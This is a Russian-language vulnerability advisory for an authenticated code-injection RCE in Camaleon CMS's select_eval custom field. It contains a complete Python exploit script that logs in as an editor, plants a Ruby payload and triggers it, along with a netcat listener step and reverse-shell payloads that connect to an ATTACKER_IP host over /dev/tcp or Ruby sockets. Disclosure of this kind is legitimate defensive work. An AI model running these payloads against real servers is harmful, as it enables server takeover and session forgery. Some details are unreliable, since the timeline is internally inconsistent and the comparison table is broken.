
Уведомление о безопасности: Camaleon CMS - RCE с аутентификацией через произвольное поле `select_eval`
select_eval Custom FieldAssigned CVE ID: CVE-2026-66748
Продукт: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
Затронутые версии: 2.1.1 – 2.9.1 (уязвимость внедрена в коммите 415cbda6 от 2015-10-16; исправлена в коммите 15882366 от 2026-03-29 / v2.9.2)
Серьёзность: Высокая
Оценка CVSS 4.0: 8.7
Вектор CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94 (Code Injection)
Исследователь: Theodosis Paidakis
Уведомление поставщика: 2026-06-21
Связанный advisory: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval — параллельный тип поля, та же первопричина, CVE не присвоен)
Тип пользовательского поля select_eval хранит произвольное Ruby-выражение в field.options[:command] и выполняет его через instance_eval в ERB-представлении при каждой отрисовке страницы редактирования записи. В версиях до v2.9.2 любой пользователь с разрешением управления custom_fields — обычно выдаваемым учётным записям с ролью редактора — мог создать поле этого типа и добиться RCE на сервере. Поле select_eval срабатывает при каждой отрисовке страницы любой записи, использующей эту группу полей; его вывод становится списком опций выпадающего меню. Уязвимость исправлена в v2.9.2.
Файл: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval вызывается с необработанной строкой из записи базы данных. Никакой песочницы и никаких ограничений на этапе компиляции относительно того, какие методы или константы доступны из привязки ERB (которая представляет собой полный контекст представления Rails).
Файл: app/models/camaleon_cms/ability.rb (v2.9.1, строки 161-165)
custom_fields никогда не предоставляется явно. Восемь ресурсов получают can :manage индивидуально выше по файлу (media, comments, themes, widgets, nav_menu, plugins, users, settings), и custom_fields среди них нет. Он доступен только через этот catch-all, который выдаёт manage любому ключу, присутствующему в хэше @roles_manager роли, без проверки того, безопасно ли предоставлять этот ключ:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
Таким образом, любой пользователь, в роли которого установлен бит custom_fields, получает доступ к контроллеру пользовательских полей. В затронутом диапазоне версий этот бит routinely предоставлялся ролям уровня редактора.
Переработка в v2.9.2 заменяет can на обёртку safe_can и добавляет явный список %i[...], содержащий и custom_fields, и select_eval, но приведённый выше catch-all цикл всё ещё существует в этой версии. Список разрешений — это не то, что исправляет данную проблему; её исправляют список разрешённых strong-parameters в custom_fields_controller.rb и проверка can?(:manage, :select_eval) в custom_field_group.rb.
Тип поля select_eval был разработан, чтобы позволить разработчикам динамически заполнять выпадающие списки из Ruby-кода, хранящегося в базе данных CMS. Выполнение произвольного Ruby из колонки базы данных через instance_eval эквивалентно предоставлению доступа к шеллу любому, кто может записать это значение. Требуемым разрешением было custom_fields — обычное разрешение на управление контентом, а не явный привилегированный бит.
Данная находка была опубликована как GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 и охватывает параллельный тип поля label_eval в Camaleon CMS. Этот advisory входил в пакет из пяти находок (GHSL-2024-182 по GHSL-2024-186); только две из пяти получили номера CVE (CVE-2024-46986 и CVE-2024-46987). Для самой GHSL-2024-185 CVE не присвоен.
select_eval и label_eval имеют одну и ту же первопричину — произвольный Ruby, хранящийся в базе данных и выполняемый через instance_eval в ERB-представлении, — но различаются по всем остальным параметрам:
label_eval (GHSL-2024-185) | select_eval (данный отчёт) | |
|---|---|---|
| Место выполнения | Метка поля в любой форме | select_tag на странице редактирования записи |
| Путь записи |
Данный отчёт охватывает исключительно select_eval. Ни один существующий CVE или публичный advisory не документирует этот конкретный тип поля и путь его эксплуатации.
Затронутый диапазон версий с v2.1.1 по v2.9.1 был определён путём анализа исходного кода; эксплуатация была подтверждена целиком на v2.9.1. Требуется только учётная запись с разрешением custom_fields — без доступа к серверу.
Предварительные требования: Любая учётная запись с установленным битом управления custom_fields — стандартное разрешение роли редактора в затронутом диапазоне версий.
Шаг 1. Запустите слушатель:
nc -lnvp 4444
Шаг 2. Запустите скрипт. Отредактируйте BASE, ATTACKER_IP, TYPE_ID, POST_ID и учётные данные.
TYPE_ID — идентификатор типа записи, видимый в URL боковой панели админки (например, /admin/post_type/2/posts).
POST_ID — любой идентификатор записи этого типа, из ссылок редактирования в списке записей.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
Любая учётная запись с разрешением custom_fields (до v2.9.2) получает:
deploy, www-data, rails и т.д.)secret_key_base из config/secrets.yml позволяет подделывать произвольные сессионные cookie для любого пользователя, включая администраторовДо v2.9.2 разрешение custom_fields routinely выдавалось пользователям с ролью редактора. Атакующий, скомпрометировавший любую учётную запись уровня редактора, добивается полного RCE на сервере.
2026-06-19 - Обнаружено при анализе исходного кода v2.9.2 и v2.9.1 2026-06-21 - Поставщик уведомлён 2026-03-29 - Патч уже выпущен (v2.9.2, коммит 15882366)
| Текст метки пользовательского поля |
Мета-строка field.options[:command] |